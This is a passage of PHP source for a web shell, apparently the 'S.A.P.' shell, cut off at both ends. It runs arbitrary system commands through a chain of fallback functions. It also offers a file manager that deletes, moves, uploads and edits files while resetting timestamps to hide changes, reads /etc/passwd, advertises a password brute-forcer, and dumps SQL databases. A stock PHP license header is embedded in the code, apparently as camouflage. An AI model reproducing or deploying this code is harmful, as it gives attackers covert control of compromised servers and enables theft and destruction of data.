-------------------------------- --'."\n");$s->lt($v);$i=0; while($t=$s->fv($i++))$s->dt($v,$t,$z);$z->cf();}$s->cl();}$z->cl();die();}if(isset($_POST['sdt']) && !empty($_POST['ct'])){class ce {function me(){}function wf($s){echo $s;}}$e=new ce();@session_start();$c=$_SESSION['DB']; @session_write_close();header('Content-type: multipart/octet-stream');header('Content-Disposition: attachment; filename='.$_SERVER['HTTP_HOST'].'_['.$c['db'].']_'.date('Y-m-d_H.i').'.sql');header('Content-Transfer-Encoding: binary');header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');echo '-- -------------------------------- --', "\n", '-- [  SQL Dump created by S.A.P.  ] --', "\n", '-- [', str_pad($_SERVER['HTTP_HOST'], 30, ' ', STR_PAD_BOTH), '] --', "\n", '-- [          ', date('Y/m/d'), '          ] --', "\n", '-- -------------------------------- --', "\n";$s=new sc();$s->init($c['tp']);if($s->cn($c['ha'],$c['hp'],$c['un'],$c['up'])){foreach($_POST['ct'] as $v)$s->dt($c['db'],$v,$e);$s->cl();}die();}function mt(){list($usec,$sec)=explode(' ', microtime());return ((float)$usec+(float)$sec);}define('ST', mt());define('IW', strtolower(substr(PHP_OS,0,3))=='win');@session_start();if(!empty($_POST['cs']))$_SESSION['CS']=$_POST['cs']; elseif(empty($_SESSION['CS']))$_SESSION['CS']='UTF-8';if(empty($_SESSION['CP']) || isset($_POST['gh']))$_SESSION['CP']=@dirname($_SERVER['SCRIPT_FILENAME']);elseif(isset($_POST['fp']) || isset($_POST['fpr'])){if(isset($_POST['fpr']))$_POST['fp']=str_rot13($_POST['fpr']);if(@is_file($_POST['fp'])){$_SESSION['CP']=@dirname($_POST['fp']);$_POST['fef']=$_POST['fp'];}elseif(@is_dir($_POST['fp']))$_SESSION['CP']=$_POST['fp'];$_SESSION['CP']=@realpath($_SESSION['CP']);}if(IW)$_SESSION['CP']=str_replace('\\', '/',$_SESSION['CP']);if(substr($_SESSION['CP'],-1) !='/')$_SESSION['CP'].='/'; @chdir($_SESSION['CP']);define('PE', @function_exists('posix_geteuid'));$ui=array();$gi=array();if(!PE && !IW){if(@is_readable('/etc/passwd')){$a=file('/etc/passwd');foreach($a as $v){$v=explode(':',$v);$ui[ $v[2] ]=$v[0];}}if(@is_readable('/etc/group')){$a=file('/etc/group');foreach($a as $v){$v=explode(':',$v);$gi[ $v[2] ]=$v[0];}}}function sm($m,$t){echo '<fieldset class="'.$t.'">', escHTML($m), '</fieldset>';}function ctf($c){$t=@tempnam('/tmp/', '');$f=@fopen($t, 'w');@fwrite($f,$c);@fclose($f);return $t;}function se($c){@ob_start();if($r=@`echo 1`)echo @`$c`; elseif(@function_exists('exec')){@exec($c,$r);echo @implode("\n",$r);}elseif(@function_exists('system')) @system($c);elseif(@function_exists('shell_exec'))echo @shell_exec($c);elseif(@function_exists('passthru')) @passthru($c);elseif(@is_resource($f=@popen($c, 'r'))){while(!feof($f))echo fread($f,1024);@pclose($f);}elseif(@is_resource($f=@proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'a')),$p)) ){echo @stream_get_contents($p[1]);@proc_close($f);}elseif(@function_exists('pcntl_exec')) @pcntl_exec('/bin/sh', array('-c',$c));elseif(@function_exists('expect_popen') && is_resource($f=@expect_popen($c))){while(!feof($f))echo fread($f, 1024);@fclose($f);}elseif(@is_resource($f=@fopen('expect://'.$c, 'r'))){while(!feof($f))echo fread($f, 1024);@fclose($f);}echo escHTML(@ob_get_clean());}@header("Content-Type: text/html; charset=".$_SESSION['CS']);?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"/><html> <head> <meta http-equiv="Content-Type" content="text/html; charset=<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
// +----------------------------------------------------------------------+
// | PHP version 5                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2004 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject to version 3.0 of the PHP license,       |
// | that is bundled with this package in the file LICENSE, and is        |
// | available through the world-wide-web at the following url:           |
// | http://www.php.net/license/3_0.txt.                                  |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Original Author <author@example.com>                        |
// |          Your Name <you@example.com>                                 |
// +----------------------------------------------------------------------+
//
// $Id:$

echo $_SESSION['CS']; ?>"/> <title><?php
echo escHTML($_SERVER['SERVER_NAME']); ?></title> <style> html {margin:0; padding:0; background-color:#4a4a4a}body {margin:0px auto; padding:0; width:1000px; font:normal 11px Verdana; color:#bfbfbf; border:1px solid #7c7c7c; background:#000000}a, a:hover, a:visited {color:#aaaaaa; text-decoration:none} fieldset {margin:5px 3px; padding:3px 5px; font-weight:bold; border:1px solid #444444; background:#202020}legend {padding:3px 10px; min-width:90px; border:1px solid #444444; background:#202020} fieldset.head {margin-top:3px}fieldset.menu {padding:2px 0px; text-align:center}fieldset.nav{padding:3px 5px}fieldset.e, fieldset.i {margin:8px; padding:6px 0px 6px 0px; text-align:center; background:#3f3f3f}fieldset.e {border-color:#ee0000}fieldset.i {border-color:#0000ee} table {margin:0; padding:0; table-layout:fixed; font:normal 11px Verdana; border-collapse:collapse} table.head {border:none}table.head th {text-align:left}table.head th, table.head td {padding:3px 0px}table.head td b {color:#cfcfcf} table.list {margin-top:5px; margin-bottom:20px; border:1px solid #000000; background:#202020}table.list th {padding:3px 10px}table.list td {padding:3px 5px}table.list tr.ok {color:green}table.list tr.fail {display:none} #listf {margin:5px; width:990px; background:#202020} #listf td, table.form td {padding:4px 3px}#listf td div {display:inline; color:#555} table.list tr:hover, #listf tr:hover, table.lists tr:hover td, table.listr tr:hover td {background:#333333}table.list th, #listf th, table.listr th {color:#d0d0d0; border:1px solid #000000; background:#505050}table.list td, #listf td, table.listr td {border:1px solid #000000}table.listp td {text-align:center}table.listp th {padding:2px 5px} #listf th, table.lists th {padding:3px 0px; border:1px solid #707070} table.lists, table.listr {width:100%; background:#202020}table.lists td {padding:2px 0px; text-align:center; border:1px solid #000000}table.lists td div {display:none; position:absolute; margin-left:213px; margin-top:-18px; padding:1px 5px; text-align:left; background:#404040; border:1px solid #707070}table.lists tr:hover td div {display:block} table.listr {table-layout:auto}table.listr th {padding:2px 4px}table.listr td {padding:4px}table.listr td p {max-height:100px; overflow-y:auto} form {margin:0px; padding:2px 0px}button, input[type=submit], input[type=text], input[type=file], select, textarea, pre {color:#aaaaaa; border:1px solid #7c7c7c; background:#444444}button:hover, input[type=submit]:hover, input[type=text]:hover, select:hover, textarea:hover {color:#eeeeee; border-color:#a0a0a0}button, input[type=submit] {margin:0; padding:1px 10px; font:normal 11px Verdana; white-space:pre;}input[type=text], input[type=file], select {margin:0px; padding:1px; font:normal 11px Verdana}input[type=text]:focus, textarea:focus {color:#eeeeee; background:#000000}input[type=checkbox]{margin:0; border:1px solid #000000; background:#3f3f3f}textarea {margin:2px 5px; padding:2px 3px; width:990px; height:300px}button::-moz-focus-inner, input[type=submit]::-moz-focus-inner{margin:0; padding:0px; border:0} fieldset.menu button {padding:2px 10px 3px 10px}fieldset.nav form {padding:0}fieldset.pag form {display:inline}fieldset.footer form {margin:0; padding:0}  #listf button[type=submit] {margin:0px 2px; padding:0; font:normal 11px Verdana; border:none; background:none}#listf th input[type=submit] {margin:5px 5px 2px 1px; padding-bottom:2px; background:#000000}table.lists td input[type=submit] {width:100%; text-align:left; border:none; background:none}table.lists th input[type=submit] {margin:0; padding:0px 10px} pre{margin:5px; padding:1px 2px; height:310px; overflow:auto; text-align:left; white-space:pre; font:normal 12px "Courier New" }div.ntwrk {float:left; margin:0; padding:0; width:250px}div.ntwrk fieldset {margin:10px 10px 25px 10px}div.ntwrk fieldset div {margin:8px 0px 5px 0px; font-weight:normal} button.sb{margin:0;padding:0 1px 0 0;font-size:12px;border:0;background:none;cursor:pointer;} #listf td:nth-of-type(2):hover {color:#eee;}</style> <script>function ca(v, f){ var cb=document.getElementById(f);for(i=1, n=cb.elements.length; i<n; i++){if(cb.elements[i].type=='checkbox') cb.elements[i].checked=v;}}</script> </head><body> <fieldset class="head"><table class="head"> <tr><th style="width:125px">Server address :</th><td><?php
if (!empty($_SERVER['SERVER_NAME'])) echo ($_SERVER['HTTP_HOST'] == $_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'] . ' on ' . $_SERVER['SERVER_NAME'];
else echo $_SERVER['HTTP_HOST'];
$i = @gethostbyname($_SERVER['HTTP_HOST']);
if (!empty($_SERVER['SERVER_ADDR'])) echo ' (', ($_SERVER['SERVER_ADDR'] == $i) ? $_SERVER['SERVER_ADDR'] : $i . ', ' . $_SERVER['SERVER_ADDR'], ')';
elseif (!empty($i)) echo ' (', $i, ')';
echo ' / ', @php_uname('n'); ?></td></tr><tr><th>Server OS :</th><td><?php
echo IW ? @file_get_contents('/etc/issue.net') . ' ' : '', @php_uname('s') , ' ', @php_uname('r') , ' ', @php_uname('v') , ' ', @php_uname('m'); ?></td></tr><tr><th>Server software :</th><td><?php
if (!strpos($_SERVER['SERVER_SOFTWARE'], 'PHP/')) echo '<b>PHP</b>/', @phpversion() , ' ';
echo preg_replace('#([^ ]*)/#U', '<b>$1</b>/', $_SERVER['SERVER_SOFTWARE']);
if (@function_exists('curl_init')) echo ' <b>cURL</b>';
if (@function_exists('mysql_connect')) echo ' <b>MySQL</b>/' . @mysql_get_client_info();
if (@function_exists('mssql_connect')) echo ' <b>MSSQL</b>';
if (@function_exists('pg_connect')) echo ' <b>PostgreSQL</b>';
if (@function_exists('ocilogon')) echo ' <b>Oracle</b>'; ?></td></tr><tr><th>User info :</th><td><?php
if (PE) {
    $u = @posix_getpwuid(@posix_geteuid());
    $g = @posix_getgrgid(@posix_getegid());
    $i = array(
        $u['uid'],
        $u['name'],
        $g['gid'],
        $g['name']
    );
} else {
    $i = @getmygid();
    $i = array(
        @getmyuid() ,
        @get_current_user() ,
        $i,
        empty($gi[$i]) ? $i : $gi[$i]
    );
}
echo 'uid=', $i[0], '(', $i[1], ') gid=', $i[2], '(', $i[3], ')'; ?></td></tr><?php
if (@ini_get('safe_mode')) echo '<tr><th>SafeMode :</th><th style="color:#FF4500">ON</th></tr>';
if (is_string($d = @ini_get('open_basedir')) && trim($d) !== '') echo '<tr><th>OpenBaseDir :</th><td style="color:#FF4500">', escHTML($d) , '</td></tr>';
if (is_string($d = @ini_get('disable_functions')) && trim($d) !== '') echo '<tr><th>Disable functions :&nbsp;</th><td style="color:#FF4500">', escHTML(str_replace(',', ', ', $d)) , '</td></tr>'; ?></table></fieldset> <fieldset class="menu"><form action="" method="post"> <button type="submit" name="fe">Explorer</button> <button type="submit" name="fs">Searcher</button> <button type="submit" name="se">SQL-client</button> <button type="submit" name="nt">Network Tools</button> <?php
if (!IW && @is_readable('/etc/passwd')) { ?> <button type="submit" name="br">passwd BruteForce</button> <?php
} ?> <button type="submit" name="sc">CMD</button> <button type="submit" name="si">Server info</button> </form></fieldset>  <fieldset class="nav"><table width="100%"><tr><th width="50px" align="left">Go to :</th><?php
$a = range('a', 'z');
foreach ($a as $d) if (@is_dir($d . ':')) echo '<form action="" method="post"><td width="20px"><button type="submit" name="fp" value="' . $d . ':" style="padding:0; border:none; background:none;">' . strtoupper($d) . ':</button></td><input type="hidden" name="fe"/></form>'; ?><form action="" method="post"><td><input type="text" name="fp" value="<?php
echo escHTML($_SESSION['CP']); ?>" style="width:100%"/></td><td width="30px" align="right"><input type="submit" value="&gt;"/></td><input type="hidden" name="fe"/></form><form action="" method="post"><td width="60px" align="right"><input type="submit" name="gh" value="Home"/></td><input type="hidden" name="fe"/></form></tr></table></fieldset> <fieldset class="nav"><form action="" method="post"><input type="hidden" name="fe"/><b>Jump :</b>&nbsp;<?php
$k = '';
$v = explode('/', rtrim($_SESSION['CP'], '/'));
foreach ($v as $i) {
    $k.= $i . '/';
    echo '<button type="submit"name="fp"class="sb"value="', escHTML($k) , '">', escHTML($i) , '/</button>';
} ?></form></fieldset><?php
if (isset($_POST['fe']) || isset($_POST['fs'])) {
    if (!empty($_POST['fd']) || isset($_POST['fda'])) {
        function dd($p) {
            $p = @realpath($p);
            $d = @opendir($p);
            while (FALSE !== ($f = @readdir($d))) if ($f != '.' && $f != '..') {
                if (is_dir($p . DIRECTORY_SEPARATOR . $f)) dd($p . DIRECTORY_SEPARATOR . $f);
                else @unlink($p . DIRECTORY_SEPARATOR . $f);
            }
            @closedir($d);
            @rmdir($p);
        }
        function dfd($p) {
            $p = str_rot13($p);
            $s = @stat(dirname($p));
            if (@is_dir($p)) dd($p);
            else @unlink($p);
            @touch(dirname($p) , $s[9], $s[8]);
        }
        if (isset($_POST['fda']) && !empty($_POST['fc'])) foreach ($_POST['fc'] as $f) dfd($f);
        elseif (!empty($_POST['fd'])) dfd($_POST['fd']);
    } elseif (!empty($_POST['fm']) || isset($_POST['fma'])) {
        function aml($p) {
            $p = str_rot13($p);
            if (!empty($_SESSION['MO'][$p])) unset($_SESSION['MO'][$p]);
            else {
                if (!empty($_SESSION['CO'][$p])) unset($_SESSION['CO'][$p]);
                $_SESSION['MO'][$p] = 1;
            }
        }
        if (isset($_POST['fma']) && !empty($_POST['fc'])) foreach ($_POST['fc'] as $f) aml($f);
        elseif (!empty($_POST['fm'])) aml($_POST['fm']);
    } elseif (!empty($_POST['fcf']) || isset($_POST['fca'])) {
        function acl($p) {
            $p = str_rot13($p);
            if (!empty($_SESSION['CO'][$p])) unset($_SESSION['CO'][$p]);
            else {
                if (!empty($_SESSION['MO'][$p])) unset($_SESSION['MO'][$p]);
                $_SESSION['CO'][$p] = 1;
            }
        }
        if (isset($_POST['fca']) && !empty($_POST['fc'])) foreach ($_POST['fc'] as $f) acl($f);
        elseif (!empty($_POST['fcf'])) acl($_POST['fcf']);
    } elseif (isset($_POST['fbc'])) unset($_SESSION['MO'], $_SESSION['CO']);
    elseif (isset($_POST['fbp'])) {
        function cd($p, $d) {
            $p = @realpath($p);
            $sd = @stat($d);
            $n = $d . DIRECTORY_SEPARATOR . bname($p);
            if ((@is_dir($n) && @is_writable($n)) || @mkdir($n)) {
                if ($h = @opendir($p)) {
                    $s = @stat($n);
                    while (FALSE !== ($f = @readdir($h))) if ($f != '.' && $f != '..') {
                        if (@is_dir($p . DIRECTORY_SEPARATOR . $f)) cd($p . DIRECTORY_SEPARATOR . $f, $n);
                        else {
                            $sf = @stat($p . DIRECTORY_SEPARATOR . $f);
                            @copy($p . DIRECTORY_SEPARATOR . $f, $n . DIRECTORY_SEPARATOR . $f);
                            @touch($p . DIRECTORY_SEPARATOR . $f, $sf[9], $sf[8]);
                        }
                    }
                    @closedir($h);
                    @touch($n, $s[9], $s[8]);
                }
                @touch($d, $sd[9], $sd[8]);
            }
        }
        $s = @stat($_SESSION['CP']);
        if (!empty($_SESSION['MO'])) {
            foreach ($_SESSION['MO'] as $v => $n) {
                $t = $_SESSION['CP'] . bname($v);
                $td = dirname($v);
                $st = @stat($td);
                @rename($v, $t);
                @touch($t, $s[9], $s[8]);
                @touch($td, $st[9], $st[8]);
            }
            unset($_SESSION['MO']);
        }
        if (!empty($_SESSION['CO'])) {
            foreach ($_SESSION['CO'] as $v => $n) {
                if (@is_dir($v)) cd($v, $_SESSION['CP']);
                else {
                    $t = $_SESSION['CP'] . bname($v);
                    $sv = @stat($v);
                    @copy($v, $t);
                    @touch($t, $sv[9], $sv[8]);
                }
            }
            unset($_SESSION['CO']);
        }
        @touch($_SESSION['CP'], $s[9], $s[8]);
    } elseif (!empty($_POST['frs']) && !empty($_POST['frd'])) {
        $ts = @stat(dirname($_POST['frs']));
        $td = @stat(dirname($_POST['frd']));
        $to = @stat($_POST['frs']);
        if (@rename($_POST['frs'], $_POST['frd'])) {
            @touch($_POST['frd'], $to[9], $to[8]);
            @touch(dirname($_POST['frs']) , $ts[9], $ts[8]);
            @touch(dirname($_POST['frd']) , $td[9], $td[8]);
            sm('Rename successfully. Congratulations!', 'i');
        } else sm('Can\'t rename. Sorry.', 'e');
    } elseif (!empty($_POST['fn'])) {
        $s = @stat(dirname($_POST['fn']));
        if ($_POST['t'] == 'f') {
            if ($fh = @fopen($_POST['fn'], 'w')) {
                @fclose($fh);
                $_POST['fef'] = $_POST['fn'];
            } else sm('Can\'t create file. Sorry.', 'e');
        } else {
            if (@mkdir($_POST['fn'])) sm('Folder created successfully. Congratulations!', 'i');
            else sm('Can\'t create folder. Sorry.', 'e');
        }
        @touch($_POST['fn'], $s[9], $s[8]);
        @touch(dirname($_POST['fn']) , $s[9], $s[8]);
    } elseif (!empty($_FILES)) {
        foreach ($_FILES['fu']['name'] as $i => $v) {
            $s = @stat($_SESSION['CP']);
            @move_uploaded_file($_FILES['fu']['tmp_name'][$i], $_SESSION['CP'] . $v);
            @touch($_SESSION['CP'] . $v, $s[9], $s[8]);
            @touch($_SESSION['CP'], $s[9], $s[8]);
        }
    }
    if (isset($_POST['fef'])) { ?>     <fieldset><form action="" method="post" align="center"><input type="hidden" name="fe"/><input type="hidden" name="fpr" value="<?php
        echo escHTML(str_rot13($_POST['fef'])); ?>"/><input type="submit" value="Edit file"/> <input type="submit" name="ai" value="Show as image"/></form></fieldset>     <?php
        if (@is_file($_POST['fef'])) {
            $s = @stat($_POST['fef']);
            if (isset($_POST['fefs'])) {
                if ($f = @fopen($_POST['fef'], 'w')) {
                    @fwrite($f, $_POST['fefc']);
                    @fclose($f);
                    @touch($_POST['fef'], $s[9], $s[8]);
                    sm('File successfully saved. Congratulations!', 'i');
                } else sm('Can\'t save this file. Sorry.', 'e');
            } elseif (isset($_POST['fefp'])) {
                if (@chmod($_POST['fef'], intval($_POST['fefp'], 8))) {
                    @touch($_POST['fef'], $s[9], $s[8]);
                    sm('File permissions successfully changed. Congratulations!', 'i');
                } else sm('Can\'t change file permissions. Sorry.', 'e');
            } elseif (isset($_POST['fefg'])) {
                if (@chgrp($_POST['fef'], $_POST['fefg'])) {
                    @touch($_POST['fef'], $s[9], $s[8]);
                    sm('File group successfully changed. Congratulations!', 'i');
                } else sm('Can\'t change file group. Sorry.', 'e');
            } elseif (isset($_POST['fefd'])) {
                if (@touch($_POST['fef'], @strtotime($_POST['fefd']))) sm('File modification times successfully changed. Congratulations!', 'i');
                else sm('Can\'t change file modification times. Sorry', 'e');
            }
            if (isset($_POST['ai'])) {
                echo '<center><img alt="Can\'t show as image. Sorry." src="data:image;base64,', base64_encode(@file_get_contents($_POST['fef'])) , '"/></center>';
            } else {
                if (@is_readable($_POST['fef'])) { ?><form action="" method="post" style="padding-top:0"><fieldset style="text-align:right"><?php
                    echo '<input type="text" value="' . escHTML($_POST['fef']) . '" style="width:', @is_writable($_POST['fef']) ? '925px" name="fef"/> <input type="submit" name="fe" value="Save"/><input type="hidden" name="fefs"/>' : '900px" readonly="readonly"/> READ ONLY'; ?></fieldset><textarea name="fefc" id="s"><?php
                    $f = @fopen($_POST['fef'], 'rb');
                    while (!feof($f)) echo escHTML(fread($f, 1048576));
                    @fclose($f); ?></textarea></form><?php
                } else sm('Can\'t read this file. Sorry.', 'e');
                @clearstatcache(FALSE, $_POST['fef']);
                $s = @stat($_POST['fef']); ?><fieldset><table width="100%" style="table-layout:auto;text-align:center"><tr><td><form action="" method="post">Perms: <input type="text" name="fefp" value="<?php
                echo substr(sprintf('%o', @fileperms($_POST['fef'])) , -5); ?>" style="width:55px"/> <input type="submit" name="fe" value="&gt;"/><input type="hidden" name="fpr" value="<?php
                echo escHTML(str_rot13($_POST['fef'])); ?>"/></form></td><td><form action="" method="post">Group: <input type="text" name="fefg" value="<?php
                echo $s[5]; ?>" style="width:100px"/> <input type="submit" name="fe" value="&gt;"/><input type="hidden" name="fpr" value="<?php
                echo escHTML(str_rot13($_POST['fef'])); ?>"/></form></td><td><form action="" method="post">Mtime (ctime: <?php
                echo @date('Y-m-d H:i:s', $s[10]); ?>): <input type="text" name="fefd" value="<?php
                echo @date('Y-m-d H:i:s', $s[9]); ?>" style="width:140px"/> <input type="submit" name="fe" value="&gt;"/><input type="hidden" name="fpr" value="<?php
                echo escHTML(str_rot13($_POST['fef'])); ?>"/></form></td></tr></table></fieldset><?php
            }
        } else sm('Can\'t read this file. Sorry.', 'e');
    } else {
        $d = array(
            '/directory1',
            '/dir2/subdir2',
            '/dir3/*/subsubdir3',
            'dir4/lang-??/'
        );
        if (IW) $d = 'c:' . implode(';c:', $d);
        else $d = implode(';', $d);
        if (isset($_POST['fs'])) {
            if (!empty($_POST['fss'])) {
                $_POST['fst'] = 1;
                $_POST['fsr'] = 1;
            } ?><fieldset align="center"><form action="" method="post"><input type="hidden" name="fe"/>Search <select name="fsr"><option value="0">any</option><option value="1"<?php
            if (isset($_POST['fsr']) && $_POST['fsr'] == 1) echo ' selected="selected"'; ?>>readable&nbsp;</option><option value="2"<?php
            if (!empty($_POST['fsr']) && $_POST['fsr'] == 2) echo ' selected="selected"'; ?>>writable&nbsp;</option></select> <select name="fst"><option value="0">objects&nbsp;</option><option value="1"<?php
            if (!empty($_POST['fst']) && $_POST['fst'] == 1) echo ' selected="selected"'; ?>>files&nbsp;</option><option value="2"<?php
            if (!empty($_POST['fst']) && $_POST['fst'] == 2) echo ' selected="selected"'; ?>>dirs&nbsp;</option></select> with a name <input type="text" name="fsn" value="<?php
            echo empty($_POST['fsn']) ? '*' : escHTML($_POST['fsn']); ?>" title="Example: *.sql,backup*,user-01???.ftp,.htpasswd" style="width:190px"/> in <input type="text" name="fsp" value="<?php
            echo empty($_POST['fsp']) ? escHTML($_SESSION['CP']) : escHTML($_POST['fsp']); ?>" title="Example: <?php
            echo $d; ?>" style="width:440px"/> <input type="submit" name="fs" value="&gt;"/><div style="margin-top:10px; text-align:center"> with text <input type="text" name="fss" value="<?php
            if (!empty($_POST['fss'])) echo escHTML($_POST['fss']); ?>" style="width:900px"/></div></form></fieldset><?php
        }
        $a = array();
        function cn(&$i1, &$i2) {
            if ($i1[3] == 0 || $i2[3] == 0) {
                if ($i1[3] == 0 && $i1[1] == '[ .. ]') return 0;
                if ($i2[3] == 0 && $i2[1] == '[ .. ]') return 1;
                if ($i1[3] != 0 && $i2[3] == 0) return 1;
                if ($i1[3] == 0 && $i2[3] != 0) return -1;
            } elseif ($i1[2] > $i2[2]) return 1;
            elseif ($i1[2] < $i2[2]) return -1;
            return @strnatcmp($i1[1], $i2[1]);
        }
        function gs($p, &$n, &$a) {
            if (substr($p, -1) !== DIRECTORY_SEPARATOR) $p.= DIRECTORY_SEPARATOR;
            if (!empty($_POST['fss'])) $c = - 1 * strlen($_POST['fss']);
            if ($t = @glob($p . $n, GLOB_BRACE)) foreach ($t as $v) {
                if ($_POST['fsr'] == 0 || ($_POST['fsr'] == 1 && @is_readable($v)) || ($_POST['fsr'] == 2 && @is_writable($v))) {
                    if ($_POST['fst'] != 1 && empty($_POST['fss']) && @is_dir($v)) {
                        $tn = bname($v);
                        if ($tn != '.' && $tn != '..') $a[] = array(
                            $v,
                            '[ ' . $v . ' ]',
                            '',
                            0
                        );
                    } elseif ($_POST['fst'] != 2 && @is_file($v)) {
                        if (!empty($_POST['fss'])) {
                            if ($f = @fopen($v, 'rb')) {
                                while (!feof($f)) {
                                    $s = fread($f, 1048576);
                                    if (stripos($s, $_POST['fss'])) {
                                        $a[] = array(
                                            $v,
                                            $v,
                                            '',
                                            1
                                        );
                                        break;
                                    }
                                    if (!feof($f)) @fseek($f, $c, SEEK_CUR);
                                }
                                @fclose($f);
                            }
                        } else $a[] = array(
                            $v,
                            $v,
                            '',
                            1
                        );
                    }
                }
            }
            if ($t = @glob($p . '*', GLOB_ONLYDIR)) foreach ($t as $v) gs($v, $n, $a);
        }
        $a = array();
        if (isset($_POST['fs'])) {
            if (isset($_POST['fsn'])) {
                $n = ($_POST['fsn'] == '*') ? '{.,}*' : '{' . $_POST['fsn'] . '}';
                $p = explode(';', $_POST['fsp']);
                foreach ($p as $v) gs($v, $n, $a);
            }
        } else {
            if (@is_readable($_SESSION['CP'])) {
                $d = @opendir($_SESSION['CP']);
                while (FALSE !== ($v = @readdir($d))) {
                    $p = @realpath($_SESSION['CP'] . $v);
                    if (@is_dir($p)) {
                        if ($v != '.') $a[] = array(
                            $p,
                            '[ ' . $v . ' ]',
                            '[ DIR ]',
                            0
                        );
                    } elseif (@is_file($p)) {
                        $i = strrpos($v, '.');
                        if ($i > 0) $a[] = array(
                            $p,
                            substr($v, 0, $i) ,
                            substr($v, $i + 1) ,
                            1
                        );
                        else $a[] = array(
                            $p,
                            $v,
                            '',
                            1
                        );
                    } else {
                        $a[] = array(
                            $p,
                            $v,
                            '',
                            1
                        );
                    }
                }
                @closedir($d);
                @uasort($a, cn);
            }
        }
        if (!empty($a)) { ?><script>         function sv(t){t.value=t.parentNode.parentNode.firstChild.firstChild.value;}        function del(t){if(confirm('Do you really want to delete this file?')){t.value=t.parentNode.parentNode.firstChild.firstChild.value;return true;}return false;}        function gf(t){var v=document.createElement('input'),f=document.getElementById('ff');v.type='hidden';v.name='fpr';v.value=t.parentNode.firstChild.firstChild.value;f.appendChild(v);f.submit();}      </script><form action=""method="post"id="ff"><input type="hidden"name="fe"/><table id="listf"><tr><th width="20px"><input type="checkbox"onclick="ca(this.checked,'ff')"/></th><th>Name</th><?php
            if (!isset($_POST['fs'])) echo '<th width="50px">Ext</th>'; ?><th width="90px">Size (kB)</th><th width="<?php
            echo isset($_POST['fs']) ? '130' : '140'; ?>px">Modified</th><th width="140px">Owner</th><th width="55px">Perms</th><th width="140px">Actions</th></tr><?php
            foreach ($a as $n => $v) {
                $s = @stat($v[0]);
                $r = escHTML(str_rot13($v[0]));
                $i = ($v[3] == 0 && $v[1] == '[ .. ]');
                echo '<tr><td><input type="', ($i ? 'hidden' : 'checkbox"name="fc[]') , '"value="', $r, '"/>';
                echo '</td><td onclick="gf(this);"';
                if (!empty($_SESSION['MO'][$v[0]])) echo 'style="text-decoration:line-through"';
                elseif (!empty($_SESSION['CO'][$v[0]])) echo 'style="text-decoration:underline"';
                echo '>', escHTML($v[1]) , '</td>';
                if (!isset($_POST['fs'])) echo '<td>', escHTML($v[2]) , '</td>';
                echo '<td align="right">', ($v[3] == 0) ? '[ DIR ]' : @number_format($s[7] / 1024, 3, '.', '') , '</td><td align="center"';
                echo '>', @date(isset($_POST['fs']) ? 'y-m-d H:i:s' : 'Y-m-d H:i:s', $s[9]) , '</td><td align="center">';
                if (PE) {
                    $t = @posix_getpwuid($s[4]);
                    echo $t['name'];
                } elseif (!empty($ui[$s[4]])) echo $ui[$s[4]];
                else echo $s[4];
                echo '/';
                if (PE) {
                    $t = @posix_getgrgid($s[5]);
                    echo $t['name'];
                } elseif (!empty($gi[$s[5]])) echo $gi[$s[5]];
                else echo $s[5];
                echo '</td><td style="text-align:center;', @is_writable($v[0]) ? 'color:green' : (@is_readable($v[0]) ? '' : 'color:red') , '">', substr(sprintf('%o', @fileperms($v[0])) , -5) , '</td><td align="center">';
                if (!$i) { ?><button type="submit"name="fd"onclick="return del(this)">Del</button> <button type="submit"name="fm"onclick="sv(this)">Move</button> <button type="submit"name="fcf"onclick="sv(this)">Copy</button> <button type="submit"name="fdw"onclick="sv(this)">Get</button><?php
                }
                echo '</td></tr>';
            } ?><tr><th colspan="4" align="left">&nbsp;With selected : <input type="submit" name="fda" value="Delete" onclick="return confirm('Do you really want to delete selected files?')"/> <input type="submit" name="fma" value="Move"/> <input type="submit" name="fca" value="Copy"/> <input type="submit" name="fdwa" value="Download"/></th><th colspan="<?php
            echo isset($_POST['fs']) ? 3 : 4; ?>" align="right"><?php
            if (!isset($_POST['fs']) && (!empty($_SESSION['CO']) || !empty($_SESSION['MO']))) echo 'With ', @count($_SESSION['CO']) + @count($_SESSION['MO']) , ' objects in buffer : <input type="submit" name="fbc" value="Clean"/>', @is_writable($_SESSION['CP']) ? ' <input type="submit" name="fbp" value="Paste"/>' : ''; ?></th></tr></table></form><fieldset style="text-align:center"><form action="" method="post">Rename <input type="text" name="frs" value="<?php
            echo escHTML($_SESSION['CP']); ?>" style="width:435px"/> to <input type="text" name="frd" value="<?php
            echo escHTML($_SESSION['CP']); ?>" style="width:435px"/> <input type="submit" name="fe" value="&gt;"/></form></fieldset><?php
            if (@is_writable($_SESSION['CP'])) { ?><fieldset style="float:left; width:480px; text-align:center"><form action="" method="post">Create <select name="t"><option value="f">file&nbsp;</option><option value="d">dir</option></select> : <input type="text" name="fn" value="<?php
                echo escHTML($_SESSION['CP']); ?>" style="width:335px"/> <input type="submit" name="fe" value="&gt;"/></form></fieldset><fieldset style="float:right; width:480px; text-align:center; clear:bottom"><form action="" method="post" enctype="multipart/form-data"><input type="file" name="fu[]" size="55" multiple="multiple" style="width:410px"/> <input type="submit" name="fe" value="upload"/></form></fieldset><?php
            }
        } elseif (!isset($_POST['fs']) || isset($_POST['fsn'])) sm('Can\'t find any file. Sorry.', 'e');
    }
} elseif (isset($_POST['se'])) {
    $c = array(
        'tp' => '',
        'ha' => 'localhost',
        'hp' => '',
        'un' => '',
        'up' => '',
        'db' => ''
    );
    if (isset($_POST['sc'])) $c = $_POST['sc'];
    elseif (isset($_SESSION['DB'])) $c = $_SESSION['DB'];
    if (isset($_POST['sd'])) {
        $c['db'] = $_POST['sd'];
        $c['tn'] = '';
    } elseif (isset($_POST['st'])) $c['tn'] = $_POST['st'];
    if (isset($_POST['so'])) $c['sl'] = $_POST['so'];
    if (!isset($c['tn'])) $c['tn'] = '';
    if (!isset($c['sl'])) $c['sl'] = 10; ?><fieldset><form action="" method="post" align="center">Type : <select name="sc[tp]"><?php
    $t = array(
        'mysql' => 'MySQL',
